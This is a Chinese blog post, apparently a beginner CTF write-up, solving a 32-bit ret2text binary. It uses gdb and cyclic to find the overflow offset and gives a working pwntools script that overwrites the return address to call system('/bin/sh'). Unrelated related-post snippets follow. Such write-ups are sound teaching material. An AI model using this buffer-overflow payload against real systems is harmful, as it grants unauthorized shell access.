一道簡單的入門pwn題
這是一道入門的pwn題
拿到題先用file命令檢視一下檔案資訊
可以看到是32-bit 的elf檔案,用32位的IDA開啟。首先進入main函式,F5反編譯後分析程式碼
定位到輸入的引數&s,可以看到引數s分配的空間。這一題通過覆蓋的方式執行_system()函式,引數為/bin/sh,拿到系統許可權,所以先用gdb分析一下分配空間以及返回地址。
3.檔案正常執行如下
根據查詢的s的地址大小,用cyclic生成200個字元嘗試覆蓋,在gdb中執行檢視狀態
可以看到程式停止在了‘daab’的地址,即下一個地址為返回地址
cyclic -l daad
之後根據call _system()的地址構造payload,python程式碼如下
from pwn import *
sh = process('./ret2text')
target = 0x804863a
payload = 'a'*112 + p32(target)
sh.sendline(payload)
sh.interactive()
執行指令碼之後拿到系統許可權
相關推薦
一道簡單的入門pwn題
這是一道入門的pwn題 拿到題先用file命令檢視一下檔案資訊 可以看到是32-bit 的elf檔案,用32位的IDA開啟。 首先進入main函式,F5反編譯後分析程式碼 定位到輸入的引數&s,可以看到引數s分配的空間。這一題通過覆蓋
一道簡單的演算法題:不借助第三變數來交換兩個變數的值
今天做筆試碰到一道簡單的演算法題:不借助第三變數來交換兩個變數的值,記錄一下。 交換兩個變數的值的普遍做法都是藉助第三變數,這樣具有較高的可讀性。 a = 3 b = 5 t = a a = b b = t 但是,如果記憶體有限,只允許用2個變數呢? 強大的CS當然有辦法解決
一道簡單的演算法題--整數反轉的一些記錄
首先是題幹 給出一個 32 位的有符號整數,你需要將這個整數中每位上的數字進行反轉。 假設我們的環境只能儲存得下 32 位的有符號整數,則其數值範圍為 [−231, 231 − 1]。請根據這個假設,如果反轉後整數溢位那麼就返回 0。 我首先想到的就是字串的相關操作,於是頭也不回地寫
一道簡單的字元題
題目:輸入一個整數(含負數),輸出3個數據: 1.位數 2.拆分輸出,空格隔開,其中 “-” 號與第一個數字一起輸出 3.輸出反轉數 例: 輸入: -12345 輸出: 5 -1 2 3 4 5 -54321 程式碼: 1 #include <iostream> 2 #include <
一道簡單的逆向題的解法 baby_crack
剛開始接觸逆向的題目師傅就給啦一道題目連結:https://pan.baidu.com/s/13cR9WUr1rydFjjbM2meyug 密碼:jg3j 題目和wp都在裡面下面開始記錄首先ida大法好~一個美麗姑娘的頭像接著f5大法好~題目本身比較簡單,就先看一下第
一道簡單的染色題(需要排序)
簡單的 targe 一道 clas getc char bit sort bool https://www.luogu.org/problemnew/show/P2919 #include <bits/stdc++.h> #define read read()
又一道簡單的題
9*9 cst pac name urn 參考 方案 turn 組成 題目描述 輸入一個四個數字組成的整數 n,你的任務是數一數有多少種方法,恰好修改一個數字,把它 變成一個完全平方數(不能把首位修改成 0)。比如 n=7844,有兩種方法:3844=622 和 7744=
【Luogu】 P3928 SAC E#1 - 一道簡單題 Sequence2
lap sed fin bit amp lowbit pac first main 【題目】洛谷10月月賽R1 提高組 【算法】遞推DP+樹狀數組 【題解】列出DP遞推方程,然後用樹狀數組維護前後綴和。 #include<cstdio> #include&l
以一道簡單題區分String,StringBuffer類,及其簡單應用
我感覺java離我越來越遠了,嗚嗚嗚嗚,剛開始對String類 與StringBuffer類(據說StringBuilder更好),對多種類之間的方法糅合在一起應用,這很重要,下面以一道題為例子(c,java均有): 幾個基本方法: 1.char charAt(int index)返回字
一個簡單的例子入門pwn
首先,pwn大概是pwn to own的意思,就是通過二進位制/系統呼叫等方式獲得目標主機的shell; 我直接以一個非常簡單的棧溢位例子(基於Linux)來講解pwn所要用到的一些常用的工具及命令; 所需要的工具安裝等,可以先看這個連結(https://blog.c
27. 一道簡單揹包題 程式設計練習
Description 龍神有很多揹包,每一個揹包都有一個容積。但是這些揹包的容積都恰好是一個數字 #include "stdio.h" long long p; long long dp[4005]; int main() { int n, v; dp[0] = 1;
遞迴的一道簡單題
題目描述 把M個同樣的蘋果放在N個同樣的盤子裡,允許有的盤子空著不放,問共有多少種不同的分法?(用K表示)5,1,1和1,5,1 是同一種分法。 遞迴,有時會有效率問題,自上而下時間複雜度很大,自下而上會更好一些;有時自上而下解決問題效果很好,不得不用; 動態規劃中遞
漢諾塔 + 一道簡單貪心題
漢諾塔 移動n層塔至少需要多少次 1層 1次 2層 3次 3層 7次 4層 15次 . . . . 沒錯,就是2n+1的規律 int han(int n) { if(n==1) return 1; else r
搭建一道PWN題
最近接到任務,說要出幾個pwn題,所以就去熟悉了一下PWN題的搭建: 第一步,準備一道pwn題的原始碼 #include<stdio.h> int main() { int a=1; float key=2018.81,input; if (a==2)
CSU Problem 1785 又一道簡單題——湖南省第十一屆大學生計算機程式設計競賽
此文章可以使用目錄功能喲↑(點選上方[+]) CSU Problem 1785 又一道簡單題 Accept: 0 Submit: 0 Time Limit: 5 Sec Memory
qduoj 一道非常簡單的簽到題
一道非常簡單的簽到題 釋出時間: 2016年7月2日 20:32 最後更新: 2016年7月2日 21:48 時間限制: 1000ms 記憶體限制: 128M 描述 給你k,a,b三個數,問[a,b]區間內有多少個數可以整除k。(n / k == 0
Nim Game,一個有趣的遊戲,也是一道入門演算法題。
Nim Game,其實很多人都玩過。其實就是我們玩的劃線遊戲。 一張紙上,畫若干條線,雙方一人劃一次,每次劃掉1~3條線。可以選擇畫1條,也可以劃2條,也可以3條。具體劃去幾條線完全看自己的策略。誰劃掉最後一條線,就是贏家。 如上圖,藍方獲勝。 正在看
一道簡單的SQL注入題
這是我真正意義上來說做的第一道SQL題目,感覺從這個題目裡還是能學到好多東西的,這裡記錄一下這個題目的writeup和在其中學到的東西 link:https://www.ichunqiu.com/battalion Web分類下的SQL 嘗試SQL注入 進入這個模擬環境之後,會得到一個提示為flag在資料庫
webpack打包簡單入門
集合 簡單 入口 ges 顯示 技術分享 js文件 dir 配置結果 使用webPack前請先安裝nodejs webpack命令集合 安裝命令:npm install webpack -g 全局安裝npm install webpack --save-dev 當前項
require.js簡單入門
去掉 function syn ltr utf-8 js文件 turn set blog 推薦文章:http://www.ruanyifeng.com/blog/2012/11/require_js.html 1、以下例子主要實現功能, 1)引用jq庫獲取dom中元